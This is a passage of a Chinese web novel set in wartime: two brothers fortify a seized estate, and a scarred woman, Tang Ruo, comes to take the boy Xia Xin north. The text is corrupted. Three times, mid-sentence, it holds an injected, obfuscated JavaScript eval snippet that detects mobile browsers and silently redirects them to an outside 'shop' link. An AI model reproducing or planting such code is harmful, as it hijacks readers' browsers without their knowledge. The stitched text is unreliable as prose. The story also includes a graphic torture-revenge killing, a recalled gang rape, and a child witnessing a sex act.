“但他一个人探听不了太多,就得养一大群的探子帮着他打听。那些黑的白的,大的小的,做官的,卖货的,三教九流,他都得打交道,还要一个人通吃所有。有些地方,要花银子,可权力又可以帮他捞银子,干的是玩弄权柄,收买人心的勾当。” “刘具和他是攀不上关系的,一二品的大员,他都不一定放在眼里。”高承翊道,“但或许,刘具认识他手下的太监。” “这样大的官儿,除了他,还有呢?”小孩儿就认为太监是个官名了。 高承翊揉着孩子的头发:“太监原本是官名,现今专指一类人,他们职位各有高低,但…都是阉人。” 高濯衡:“什么叫阉人?” 高承翊抱着孩子,这事虽然不好说,但还是得跟他说:“是在皇帝身边,在内廷当值的男人,他们受过宫刑,就是…去势。” 这让孩子怎么懂。 他只好对着孩子耳朵,快速又小声,含糊的说:“就是把小鸡切了。” “啊!”孩子圆眼睛瞪直了:“那不得被尿憋死!” 当哥的只好说:“不…会吧,有办法尿的。” 孩子道:“怪不得,黄牙说,因为他买了一条鲔鱼,得罪了皇帝,皇帝要让他永远抬不起头。” 他此前不知道,今儿晚上看了刘具干那个才知道,小鸡除了撒尿还有这个用处。 他不自觉低头,去盯他哥的下腹。 高承翊立马坐起:“好了,我头发干了,说来说去的,那太监的事儿,我也弄不明白,咱们留个心眼儿在,以后的事以后再说。” 他让孩子趴抱着他,两腿垂在他腰侧,他给托着小屁/股,抱在怀里,往厢房走:“睡的哪一间啊?” “前边右拐。”高濯衡用这个姿势趴哥哥怀里是最习惯的,他从小就爱这样趴抱着哥哥,心脏挨着心脏,靠着哥哥热乎乎的胸膛,“咱们声音小点儿,夏辛睡着了。” “啧,咱们换一间吧。”高承翊笑说,“哥抱着你睡,咱不带他玩儿。” 他拼死拼活,受苦受难的,到头来跟小孩儿三人挤一张床,他可不乐意。 “明儿起来不见我,得哭。”高濯衡道。 高承翊恢复了往日的几分顽皮:“谁管他呢。” 高濯衡:“可是…” “诶!”高承翊打断他,他腿脚快,已经进了间厢房,正巧就是专门收拾出来给他的,褥子已经垫上了干净的。 他给孩子放床上,自己睡到了外侧,盖上小被儿,孩子身上香喷喷的,他也洗的香喷喷的,有瓦遮顶,有温床软卧,高承翊终于真切的放松了下来。 于是,他想起了父亲,温寻墨说父亲暂时性命无虞… “想什么呢?”高濯衡问。 他愣神时还半撑着身子,支着脑袋看高濯衡。 高承翊道:“二宝,咱们俩才是亲兄弟,只有哥哥和你,才是这世上最亲的人。” 他抬手去触高濯衡的脸,那手是温热的,和以前一样,可他的语调却十分冰冷,说出的话,似乎都在往骨头里钻:“凭他什么旁人,只有你最重要。哥哥只剩你了,哥哥愿意为你做任何事。” 他在昨夜的倾盆大雨里,甚至接受了父母的死亡,却因怀中弟弟的消失,而崩溃绝望。 “若父亲尚在最好,倘若…他真的…”哥哥的眼睛很红,眼白处布满了血丝,瞳孔却盯着他一动不动,“只要有你在,哥就能…撑下去。” 高濯衡猛然抱住他,让他靠在自己尚窄小的肩膀上,不停的用双手来回轻抚着哥哥的肩背。 “二宝在心疼哥哥吗?” “嗯嗯…嗯!”高濯衡不住的点头。 高承翊靠在他肩上,闭上眼睛:“有你在真好,真的…” 母亲果然了解他,高濯衡心道:我不是他亲弟弟的事,不能现在告诉他… 兄弟俩比夏辛起得早,因为夏辛的伤更严重了,高濯衡早起后去叫他起床吃饭时,夏辛正烧得迷迷糊糊的看着他。 山庄中有马匹和马车,高承翊立马派人将邵一苇接了过来。 过程还算顺利,喝下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192682|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿芙蓉煎的汤水后,夏辛对疼痛的感觉迟钝了很多,伤口太深处,还是会痛,且他不敢看,那白森森的骨头露在外头,十分可怖。 直到包扎结束,邵一苇才说她也是第一次干这个。 夏辛还活着,让她长长舒了一口气。 姑娘也才十六,胆大心细,有气魄还有医术。 外头那些受伤的士兵们都排队等着她治伤,邵一苇忙到深夜,次日清晨又早起,来给夏辛换药。 一连半个月,日日不落。她挺乐呵的,觉得这是她的价值所在。 夏辛没想到换药比切腐肉更疼,邵一苇说阿芙蓉不能频繁使用,会依赖成瘾,他只能硬生生抗着。 或许真的是因为太疼了,高承翊觉得那孩子越发的娇纵,每每换完药,都要抱着二宝掉许久的眼泪,二宝本就心疼在乎他,又怜他死了阿娘,又怜他受了重伤,还说母亲也是他带出来的,母亲遗言让他俩互不相疑,互相扶持。 便就让他那么抱着,哄人的好话一箩筐一箩筐的说,哄了还不够,左脸亲完亲右脸。亲了还不够,夜里霸着他家二宝睡觉。 高承翊挺不舒服的,弟弟是他的,庄子是他打下来的,吃的是他挣来的,小破孩儿的药也是他买来的,凭什么他只抱着二宝睡了一晚。 夜里翻过来,被子是凉的,转过去,床板是硬的。 可他比小破孩儿长了七岁,他一副大人长相,他不好意思和个伤患抢人,也不能说他一个大男人想跟弟弟睡一起。 可他是真的想,后来的高承翊再想起这段日子,也觉得好笑。 他这时并没有后来关乎情爱的想法,他就只是单纯的想弟弟能睡在他旁边,他的心太痛了,只有二宝在他才能好些。 一个腿疼,一个心疼,可二宝只有一个。 他这个大的,当哥的,得让着小的。 如此又过了半个月,距离他们住在山庄中已过了一个月,这一个月里,高承翊丈量了田亩,清点账目,并逐步关闭了刘具的赌坊。 他审问得知刘具的靠山是市舶司的太监,就在宴请那日,还送了不少银两,可这一个月,没有一个太监找上门来。 兄弟二人商议,都觉得是温寻墨没打算再留着刘具,在他眼里这不过是个可有可无的小人物。 抚州的仗还在打,他们拿下山庄的第三天,官府就来港口整理残兵了,主要是把还能上战场的搜罗起来,编队后让他们继续上战场。 跟高承翊到山庄来的兵都没愿意回去的,因庄子地方大,有些人又带了些熟人兄弟来,高承翊都一并接收了。 有些越州本地的兵,甚至将自己的家人,都接进了山庄。 除了抚州,南边的各地州府,都要给前线出兵出力,码头每日都有装满辎重的粮船,运往前线。他们带家人躲来庄子,也是害怕家里的男丁又被征兵的拖走,带去前线送死。 他们已经不再信任朝廷,宁愿不要原先的黄册。 家里若是过得好,肯定不愿意来山中耕种。 参军的,除了原先就是军户的,还有因为打仗,临时被抓去入伍的。这些人,家境都十分普通,如今为了打仗,朝廷以各种明目增税,提前交粮。 以至于区区半月,鱼米之乡的米,都涨到普通百姓吃不起的地步,此时有个能吃饱饭的地方,还不赶紧收拾包袱住进来。 高承翊给他们分屋子,分银钱和粮食,又买来布匹,让女人们为他们裁制新衣,组织他们下地耕种。 士兵们也要去种地,军户是有军屯的,此前没打过仗,除了有守卫、巡防等职务的兵,其余的人,也都是种地的泥腿子。 但除了种地,还有一件十分重要的事,修工事布防。 高承翊带着他们沿山修起了城墙,他嫌望楼太矮,要推了重建,新搭的望楼,爬上去,能看清山脚下所有的路。 他手上虽有银子,但庄中人也不少,田里的稻子还没抽穗,今年不知收成如何,也不知往后是否有变数,加之他们大批采买成砖和石灰,会太过引人注意。 高承翊想的办法是,紧要地方的城墙还是要用砖,尤其是正面的几处,大约占两成。其余的八成,就先就地取材,做夯土墙,蒸煮过的夯土加上糯米砂浆和石灰,也是十分坚固的。 砖头一半采买,一半自己烧制。 于是恰好一个月,也就是六月中旬时,勉强算是城墙吧,将山庄彻底围住完工了。 高承翊心里并不是很满意,这墙只能算是粗坯,但一个月能修成这样,已经很不错了。 水田里的稻谷也全抽穗了,善务农的佃户们告诉他,再过一个月,就能有收成了。 高承翊看着那每日愈渐金黄的稻田,由衷的笑了出来。 可就当他以为,他或许可以真的偏安一隅,种地修墙时,前线又传来了噩耗。 太子死了。 前军溃散,剩余部队全撤到了岷江东南岸。 周季修叛逃出海。 太子到底怎么死的?是被水寇打死的,还是生病死的,没有个准儿。 各种版本的谣言层出不穷,总之是打了一个多月,吃空了整个南边的粮食,不仅没打下来,一个月前轰轰烈烈太子亲征,一个月后凄凄惨惨太子死了。 高承翊看着那些夯土城墙,决定将两个孩子送去冀州。 44.在右腰处 高承翊之前就考虑过,送他们去冀州的事。 夏辛是好说的,他是仆人,且在抚州时是良籍,曾外祖那边不缺一个人的饭食。 他和高濯衡就不太好办,父亲那边还不知道是个什么情形,他和弟弟贸然过去,怕会牵连曾外祖。 还有最重要的一点,高承翊有私心,即使他知道二宝最好是去冀州,那边比越州安全太多了,可他还是想把弟弟留在身边。 有了这山庄后,能吃饱穿暖,他就更不想和弟弟分开了。 与其说是弟弟依赖他,不如说是他依赖弟弟。 高濯衡已经成了他活着的精神支柱。 可如今太子在前线薨逝,军队退到了越州,山庄虽然偏僻,可占地万亩,水田肥沃,难免会遭人惦记。 这里不再安全。 此前夏辛的伤口还没长好,每日都要换药,稍微一动就会渗血。目前已养了一个月,邵一苇的生肌散效果不错,腿伤已无大碍了。 形势紧迫,越州的百姓因抚州沦陷之事担忧越州也会成为战场,很多人都有去北边投奔亲友的打算。 百姓出逃,至离开越州的船一票难求,陆路的车马价格翻了五倍。 朝廷关了官道不让走,小道、山路上全是逃难的人。 渔船都坐起了运人的生意,白天官府抓,他们就晚上走。 但也并非所有人都能逃离,这其中有部分无人投奔,且无钱财做路费的,也有觉得事情还没到那一步,有岷江隔着,是打不过来的。 不过,不能随意离开原籍,其中最重要的原因是:黄册户籍。 比如高承翊这边收容的逃兵和抚州难民们,都属于离开了原籍和躲避朝廷征兵,这些在大渊律中,是罪责。 待有朝一日恢复太平,他们这些人就属于隐藏人口,到时朝廷腾开手就会来处理这些人,问清楚此前为何躲起来。 若说是躲避战乱的普通百姓,就会被发配原籍继续种地。 若是逃兵,便有可能会有牢狱之灾。不过这点得看因战乱死亡的人数而定,若死了很多人,十室九空,无人耕种,逃兵就不算罪了,到时抓到的土匪,叛军只要愿意,都能成良民去种地。 不过这些并非他们目前要考虑的事,命没了要黄册何用。 高承翊也买不着船票,不过就在这时,消失许久的唐若回来了。通过他们留在江港的接头人,找到了高承翊。 唐家的船队来这边卖货,她们带了外地的便宜米,当然米卖完了,舱空着也是空着,便也顺带偷偷干些运人的买卖。 听高承翊说要把两个孩子送去冀州,她立马应下,船往斛州的港口开,唐若答应下船后亲自带马队把孩子们送回冀州。 但还是那件事,她要亲自问夏辛愿意愿意跟她一起生活,如果夏辛同意,她会带走夏辛。 如果夏辛还不愿意,那她也必定会经常去冀州府上拜访,望届时老太爷以礼待她。 高承翊不明白她为什么这么执着于夏辛,心有疑虑,可目前他并没有更好的办法。 可高承翊对外时,绝不是好说话的主,谨慎如他,不探问清楚,是绝不会轻易答应的。 于是山庄中的一间被打理成高承翊书房的小屋中,他与唐若对坐。 “娘子答应的爽快,倒显得我多疑了。” 唐若没说话。 高承翊便开门见山道:“我要知道你想要夏辛的原因。” “我的原因不重要。”唐若道,“你现在除了把他交给我,还有别的办法送你弟弟去冀州吗?” 高承翊是端坐的,他才十七岁,束发板正的坐着,双手放在腿上,再加上十分正气英挺的长相,显得他特别文质彬彬,乖巧的像个学生。 他抬眸,眼尾微微下垂,眼神清澈,脸上仿佛就写着「不谙世事老实孩子」这几个字。 可那薄厚适中,带着漂亮唇珠的嘴,却说出了极度冷漠的话:“呵,大不了我们兄弟三人死一起。” 唐若皱眉,她发觉这小子真讨厌,长得好都掩盖不了他的讨厌。 难道那个名震东南,百姓口中的青天大老爷,绝世好官——高琰,也是这样令人讨厌的男人吗? 所以才生出这么讨厌的儿子。 左看右看,横看竖看,夏辛要可爱得多。 唐若用咳嗽压了压她的不良情绪:“你真这么想?” 高承翊笑了:“你没听说我父亲通敌吗?现下是江南太乱,离京城太远,朝廷腾不住手,不然必定会派人来将我与我弟弟带进京城审问。或许…是锦衣卫钦提,皇帝亲自审我呢。到时,我能有几成几率活下来?” 呵,他这语气还挺自豪的? 他指了指屋子:“你也看到了,我带着这些残兵劫了大户的山庄,还修了城墙,就是不想坐以待毙束手就擒。大渊的朝廷,最喜连坐株连,我若死了,我弟弟必定没有什么好结果。即使他去了冀州,也会被抓进京城治罪。倒不如一直留在我身边,我死前会先给他一个痛快,他也不用怕,我随后就到,黄泉路上,我和他作伴,阴曹地府,我与他一起。” 他把共死这件事安排的明明白白,用心怀期待的表情和语气说出,他讲最后那句时,眼中甚至流露出了温情。 唐若见过的妖魔鬼怪众多,今天把高承翊排了进去,还是前排。 他一点儿都不像在说谎。 还笑着补上了句:“夏辛与衡儿,情同手足,他肯定愿意随我们一起走。” 走?走什么? 走你的黄泉路吗? 唐若咬紧了后槽牙,真光脚不怕穿鞋,不怕死的人最难办。 且这种事多是反过来的,若她眼前是个四五十岁的中年男人,说自己不怕死,已经做好了要死的打算,这话还真不是很可信,老油条们最怕死了。 但若是个年轻人,正是少年意气,初生牛犊,恰巧读过几年以身殉道,朝闻道,夕死可矣的圣贤书,心一横可是说死就死的。 当时的唐若以为,高承翊会对夏辛好,全都是因为高濯衡。他也不认为高濯衡真的重视夏辛,小少爷把夏辛当玩具,当跟班儿呢。 高承翊则完全猜不到唐若为什么想要走夏辛。 他的防范心很强,若是个小门小户,他或许还不那么防着,就是因为唐家,家大业大的。他担心自家这个老实小孩儿,给带进去,会被人欺负。 再者他不帮夏辛做决定,去留与否,他会让夏辛自己选择,但他猜想,夏辛不会离开衡儿。 还有最重要的一点,因他自己被太监灌了一颗会令他做噩梦,头疼欲裂,醒来后又精神百倍的药,导致他如今对原先嗤之以鼻的怪志民俗奇方多了些不得不信的意味。 他真心怕唐若要拿小孩去炼药,搞些邪/术,不然怎么解释只看上一眼,就问他讨人呢。 他们彼此都不信任。 高承翊虽思维混杂,有他的一套逻辑和天真,可技高一筹,不怕死的架势摆出来,唐若知道不说真话,这关是过不去的。 于是她解开了脸上的面巾。 高承翊没有戴面巾,脸上当即浮现诧异神色。 那是一张清瘦的脸,很白,单眼皮,鼻子小巧精致,可脸上却叠满了疤痕。 甚至连嘴角都被撕开了一侧,那道疤横着延伸,占了半边的脸。 她抽掉了黑色的手套,细长的手指上,是蔓延至手背的烧伤痕迹。 接着她站了起来,以覆盖伤疤的面孔,着黑色劲装,给高承翊跳了一小段的舞。 婀娜柔软,动作间皆是风情,眼波流转可眼角是疤,指尖轻颤,可指头被烧得扭曲粘连,一个回身旋转后,接的那个抽刀突刺的动作,倒是行云流水的熟练。 高承翊踢翻桌子,椅子因惯性往后退,他纹丝不动坐着,一眨不眨的看着唐若:“你认识夏娘。” 唐若收刀,坐回了她原先的位置,因这一番试探,现今两人的位置隔了很远。她戴面巾,戴手套,接着点头,然后开始诉说起了她的往事。 隐去了她和夏娘暧昧的关系,只说是好姐妹,但如何捡到夏辛,又如何抚养孩子,夏辛的气喘症都说的十分清楚。 接着便是她的伤疤。 她是报着必死之心前去的,因不愿就那样坐以待毙,她藏了刀子,捅死了其中的一个。 “他们有七个人,都比我高大…” 高承翊问:“这一个月,你去哪儿了?和那天登船的王家有关吗?我记得…那人叫王翰威,带了很多钱财,要去和你们三…不,八爷谈生意。” “你知道?”唐若挺意外的。 高承翊笑了笑:“我手下那么多兄弟,你们又不是在小房间里说话。” 这孩子有超出他年纪许多的老成,在母亲死去,城池被迫,不知何处容身,可说是绝望的状况下,他仍旧不忘分出耳目。 高承翊挺佩服唐若的,她真的做到了从地狱中爬出去。故而加已解释道:“若我只带着弟弟,便不会留人注意这些,但跟着我的人太多了,我需随时保持清醒,洞悉周遭事态,才能保住他们。” “欺辱我,把我伤成如此的,为首者就是王翰威。我从乱葬岗里爬出来,跳进小柳河,游出的抚州。”她说的轻描淡写,“之后又辗转了几个地方,边做工边治伤。” 她不敢回抚州,害怕连累夏娘,更害怕再被王翰威绑起来打死。 “身上的口子,没有药就会再烂开,又疼又痒的。为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204577|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了买药,我去了斛州的码头搬货。”唐若道,“工钱高些,力气活,只有我一个女人。不过,没干多久,就遇上了三爷。” “你发达了,怎么也不回去?”高承翊问。 唐若道:“去过,但没去小柳河。她肯定以为我早死了,突然出现,怕打扰她…” 高承翊道:“既是好姐妹,丑一些有什么要紧的呢,又不睡在一起。” 唐若看着眼前人,见他勾了个洞悉一切的笑。 唐若又在心里骂了她一句:聪明的臭小鬼。 “那你放心了吗?”唐若问。 高承翊道:“好姐妹,不见也就不见了,可…” 唐若被他激得死死抓着椅子扶手:“闭嘴!” “抚养夏辛会减轻你的愧疚吗?”高承翊却还是那样的平静,“王翰威呢?” “死了。” 高承翊:“杀他用了一个月?” “你明知故问。” 高承翊:“呵…你不喜欢和我说话啊。” 唐若:“如果你不是那么喜欢套话,和评判他人的话,或许我就不会那么讨厌和你说话了。” 高承翊道:“我很想听听,你是怎么报仇的。” 唐若冷笑了声:“我一开始就演示过了,让他吃一吃我吃过的苦罢了。” 她以入股做生意,开作坊等理由,套出了王翰威不少钱,暗中又派人去摸清了他的田庄,资产。 做完这些,便以八爷的名义约王翰威赴宴,她戴着面纱,丝质手套,给王翰威跳了一曲。 和她那晚跳过的一样,王翰文却完全忘记了,边看边抚掌,甚至想来抱她,揭开她的面巾。 唐若便由他来抱,由他把面巾扯下,如愿以偿看见了他见鬼一般的脸。 她给王翰威灌了壮/阳药,将他绑在床上,从下/身割开口子放血。 与此同时,亲手一刀一刀削去王翰威身上的肉,割下来一块,就喂给旁边饿疯了的恶犬一块。 让他活着看着自己的肉被狗吃掉。 “怎么不动了,是死了吗?” “操,我可不喜欢奸/尸。” “这娘们儿真烈性。” “真的死了。” “血流光了吧,啧,烂了。” “杀了我们一个人,这么容易就死了,便宜她了。” “死的那个谁带来的?哪家的啊,这怎么交代啊?” 他们指的是被若若捅死的那人。 王翰威:“我家一个远亲,给点钱能打发。” “这女人呢?” 王翰威:“你还想搬回家啊?丢乱葬岗喂狗啊!” 血放完了,唐若把肉也割光了,狗吃饱了,可她还没解恨。 高承翊的声音将她从回忆里拉回来:“王家其他的人呢?” 唐若哼笑了一声。 高承翊没再继续问了。 他站了起来打算结束这次的对话。 “怎么,觉得我太残忍?”唐若问,“那你是怎么得到这山庄的?刘具抢了你弟弟是个很好的借口,可如果没有那件事,你就不会来抢庄子吗?” 高承翊没搭理她。 “我们半斤八两,我会对孩子好,王家的财产,是我留给夏辛的保障。我向你保证,那些钱全部都是给夏辛的!”唐若声音有些喑哑,“你…说的对,如果…我不考虑那么多,早些来抚州带他们母子俩离开,至少…夏娘不会死。” 高承翊还在往外走,唐若只好冲上前拽住了他:“你还觉得我在说谎?” “没准儿你真的很会编故事呢?”高承翊道,“你没有任何证据,证明你说的话是真的。” 唐若道:“我此前说的那些,和夏辛的身世都可对应,我也知道他有喘症。” 高承翊:“那是他三岁之前,他六岁才来的我家。至于喘症,小柳河的很多女人都知道。” 唐若思考了片刻:“我当时只身一人捡回的命,但…夏辛手上的那根五钱红绳,是我给夏娘的。” 高承翊还是那般冷漠:“也没写你名字。” 唐若被逼得没了办法:“夏辛腰侧…有一片金鳞,我和夏娘当时猜测过他或许有不凡的身世。” 腰侧的金鳞? 唐若道:“在右腰处,你一看便知,颜色非常亮。” 右腰? 夏辛的腰高承翊没见过,可高濯衡的他知道,哪儿有几颗痣,他都清楚。 两个孩子,在同样的地方,有同样的金色鳞片刺青。 他心有疑惑,但不会表现给唐若看。 “请娘子在厢房休息,给我些时间。”高承翊道,“我要去查验,去冀州的事,也要跟衡儿说。” 45.剩下的爱 刺青的事,必然有异。 但高承翊并不认为夏辛与他家有什么关联,他的父母生不出浅色眼睛的卷毛。 弟弟回家时,是他亲眼看过的。可母亲自怀孕到生产,都不在家。两个孩子之间,肯定有什么隐秘的联系。 他打算去看看,走到夏辛的房门口,却遇上从里头出来的高濯衡。 孩子冲他一笑,立马扑了上来。 他抱起弟弟,还以微笑,心中却仍在思考。 衡儿知道刺青的事吗? “夏辛吃了药睡了。”高濯衡说。 高承翊问:“衡儿不午睡吗?” “我想去找你呀。”高濯衡抱着哥哥,一手绕到高承翊脑后去揪他的马尾。 高承翊心中一暖,抱着孩子往自己屋里走。 路上高濯衡还絮叨着今日做了什么。 他们买了许多家禽家畜,还挖了几个鱼塘放鱼苗,孩子就说早起帮着喂了小鸡。 高承翊白日里带着士兵们和佃户们一同去田里劳作,五六月里太阳大,他晒黑了一圈。 “晚上想吃什么?”高承翊问,“我昨日看见只鹅,挺肥的。” 高濯衡道:“半个月前补过生日,才吃了一只呢,留着下蛋吧。” 高承翊道:“你和夏辛同岁,还同月生呢。” 这样的境况,他还不忘弟弟补过生辰,在得知夏辛也是四月生时,给俩孩子一起过的生辰,分的同一只烧鹅。 夏娘捡着夏辛时是八月底,初秋,找几个年纪大些的老人稍微一瞧,就看出了孩子当时三四个月大,故而夏娘就把孩子生辰定在了四月初十。 就是这样巧合,他真是四月初十生的。 高濯衡比夏辛大了五个月,他是在十二月初出生的。 而此时,他这个假少爷或许听懂了装糊涂,又或许是根本没在意,用食指在高承翊的发间打着圈儿,又高兴的把头放高承翊颈间亲昵的蹭着。 “怎么了?”高承翊笑问。 高濯衡弯着亮晶晶的眼睛说:“就是觉得哥和夏辛都在,真好。娘亲要是知道了,肯定也会高兴的。” 高承翊抱着弟弟进屋,他不再去思考什么金鳞,什么身世了。 夏辛还有个唐若上赶着对他好,可他的衡儿,若没了他,该怎么办? 他也只剩一个高濯衡。 那日襁褓初见,衡儿就是他弟弟,弟弟也真心把他当哥哥,这就够了。 孩子午觉睡醒后,他将要把他送去冀州的事告诉了高濯衡。 高濯衡听着听着就红了眼睛,死死抱住了他。 高承翊除了去抚孩子的背,也不知该如何去做。 或许还能有再见日,或许这回是他和弟弟的永别,他可能战死在这处山庄。 但或许… “哥哥答应你,形势好些后,哥哥会去冀州看你。” “会好吗?”高濯衡眼中含泪看着他。 高承翊不想骗弟弟,可真舍不得他哭,只好扯了个笑说:“会的。” 怎么好?能好成什么样儿? “我想和你一起,凭他什么事咱们一起扛着。”高濯衡道,“咱们从城里逃出来的时候,我就说了再也不要和你分开,娘亲的也说,让我们一起回冀州。” “母亲真这么说?”高承翊知道不会,因为去冀州更方便朝廷捉拿他进京城。 高濯衡嘟嘟嘴,又被看穿了:“好吧…不是。娘亲说,若咱们没处去,就去隆州,找沈驰。” 他之前就该告诉哥哥的,可一直没机会,后来又住进了山庄,这地儿挺好的,高濯衡就把什么隆州啊,什么沈驰的,忘光了。 “哥,我们听娘亲的话,去隆州吧。”他又靠进高承翊怀里,“总之不管去哪儿,我要跟你一起。” 沈驰… 那个和母亲通信的男人。 他还没有天真到,将自己和弟弟的性命,寄托在母亲的情人身上。 高承翊对弟弟笑了笑:“斛州唐家的唐若娘子,你见过的,她是夏辛阿娘的故人,她会带你们回冀州。如果父亲的事,不连累你,你就在冀州住下,好好读书,哥有空一定会去看你。若是父亲的事,真的会牵连你我二人,曾外祖会提前送你去笠安。” 高濯衡问:“去找舅舅?” 高承翊点头:“我原是打算和你一起去笠安的。” 西南地界广阔,深山林立,自东南往西南,陆路只有一处建在峡谷旁的关隘可通行。 关隘名为通天关。 关如其名,峡谷高而陡峭,似直通天门,关隘险峻易守难攻。 再有便是从海上登陆,以及自西北绕行至西南。 所以高承翊一开始,真有带着弟弟躲进西南大山里的打算,藏两个人,对于天高皇帝远的西南,不是什么难事,况且还有舅舅可以偷偷照应。 高承翊继续说着:“不过现在往南的海面被水寇的船堵死了,只能往北走。从西北绕到笠安,路程太长了,还是去冀州近一些。” “哥不能一起去吗?”孩子还在做最后的挣扎。既然去西南可以一起,为何回冀州不行呢? “原本是要与你一起的。”高承翊道,“可…庄子里的这一千多个人,还指望着我呢。” 他不能随意的背负起他人的命运,又轻而易举的放下。 他在唐若面前说的那些都是嘴硬,骗人的。他其实并没有什么抗争到底的打算,他修城墙,是为了这些残兵、女人和无所依的百姓,能有栖身之所,和面对暴行反抗的抵抗基石。 可如果只是他一个人被朝廷通缉,他会离开这里,不连累任何人。 高濯衡明白他的哥哥是个真正的男人。他并非无所不能,也不是生来强大,他会疼,会受伤,会在夜里无人处哭泣。 但太阳升起后,他依旧会扛起他的责任,用他所学所思,拼尽一切,去守护他想要守住的东西。 这样的大哥,是他崇敬的人,也是他的榜样。 他将高承翊抱得更紧:“衡儿可以去冀州,但哥要答应衡儿,无论怎样,都一定要活下来,因为衡儿还在等你,衡儿不能没有你。” 高承翊将他的小脸托起,哥哥的眼眸湿润,含笑点头:“我的二宝好乖,哥哥真不舍得你。” 可时间不等人,形势也刻不容缓。 码头处开始了第三次的整兵,传言燕王所帅大军,已彻夜不休,奔袭至抚州战场。 因江港上全是军舰,又正在驻防,唐家的船走的海路。 海港比江港更大,无数的货轮停泊在码头上,人在那巨物面前,显得十分渺小。 夏辛牵着高濯衡,踏过连接船与岸口间的铁板,登上了船,他走路还是跛着,邵一苇也说或许将来走路会不如以前麻利。 手腕上绑着五帝钱的红绳,是唐若给他新编的,早前那个他一直戴手上,磨旧了,沾了泥水,又洗不干净。 唐若与他说了好多好多她和夏娘以前的事。 夏辛一听就明白,她是去了天上的若若姨姨。 若若姨姨给他看了脸上和小臂上的疤,给孩子难受得紧紧攥着拳头,憋红了脸,可就是忍着没哭。 十岁的夏辛,在这段颠沛流离与死亡为伴的日子里,彻底明白了自己的弱小与天真。 船上风大,他为高濯衡系紧了遮阳方笠的绳子,暗自决定往后要换一种活法。 甫一上船,高濯衡就挤去了围栏边,站在上面,在岸边的人群里找高承翊。 哥哥还站在原处:“哥!哥!” 人很多,但高承翊站得离岸很近,还是听到了。 两人四目相对,都不禁红了眼眶。 高承翊对他挥了挥手,那口型是:“保重,乖乖听话。” 他出门前答应了哥哥不哭的,可这会儿眼泪却止不住的往下流。 他趴着围栏大哭了起来。 分离这种事,只是想着就心如刀绞,如今一个在船一个在岸,此回分别,不知可有再见之日,高承翊心疼到如同有人拿着刀,往他心上扎一样。 那船还没开,只是顺着潮水荡了两下,他就忍不住往前跨步,要去追。 一旁的宋遥拉着他的手臂道:“要不把去孩子抱回来吧。” 孔详捂他的嘴:“去去去,别说了!你再说他真要冲上去给孩子抱下来了,好不容易下的决心,被你这一张破嘴就说动了。” 再看时,便见孩子已不在栏杆处了,被掩在了甲板上的人群中。 “被挤下去了?”宋遥道,“唉,看不着咯。” 确定二宝看不着了,高承翊抬臂用袖子擦着眼泪,孔、宋两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210317|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始还道他是擦了泪,要回了。 谁知他抬了手臂就放不下来了,那呜呜呜的声音,从他手臂里传过来。 “我还道你不是很爱哭呢。”宋遥道。 孔详揽住高承翊的肩膀拍了拍。 直到船要扬帆起锚了,高承翊才忍住哭声,再去看船的位置。 那连接船和岸的铁板,一块一块的收了起来。 还剩最后两块时,却见人群里钻出一个戴着黑面红里子方笠的孩子。 高濯衡在一片阻挠声中,踏上了最后一块已经收了一半的铁板,高承翊快步上去接,孩子大跨步后纵身一跃,身姿矫健的跳上了岸,跑着扑进了哥哥的怀里。 船帆已扬起,夏辛被唐若拉住,愣在船栏边,看着岸边相拥的两人。 高濯衡回首时脸都哭红了,夏辛抓着船栏大喊着:“高濯衡!高濯衡!” 高濯衡抬高手臂,对他道别,他喊道:“夏辛,对不起。” “夏辛!再见!再见!” 他身后,是单膝跪地的高承翊,大哥的手臂,环着他二爷的肩膀。 夏辛一直忘不了这一幕,以至于往后多年,他都不敢去和高承翊比。 他感激高承翊,是高承翊找来了救命的药,是因高承翊自己才有了可以养伤的地方,他也知道高承翊对二爷的爱,并不比他少。 他只是想卑微的祈求一点点,剩下的爱。 分一点给我就好。 船终是走了,远得瞧不见人,瞧不见帆,最终消失在海平面上。 兄弟俩用哭红的眼睛看着彼此。 高承翊佯装生气,骂道:“你知不知道,机会多难得,再要怎么走?” 高濯衡睁着红红的兔子眼睛:“哥,不要赶我走…我不走,就是不走!” 兄弟俩在哭,孔详和宋遥站在一旁无奈的摇头浅笑。 孔详拉起高承翊:“别哭了,回去吧。怎么说,你弟弟留下,兄弟们有难同当。” 小孩哭着猛点头。 他这样逗笑了高承翊,哥哥破涕为笑,那笑应着他哭红的眼角,和高竖的马尾,有了几分十七岁少年的样子。 宋遥两人在一旁看着,都不免心中感慨:真是个半大孩子,一会儿哭一会儿笑的。 他这样没了厮杀时的戾气,也没了训话练兵和要杀人时的阴狠。 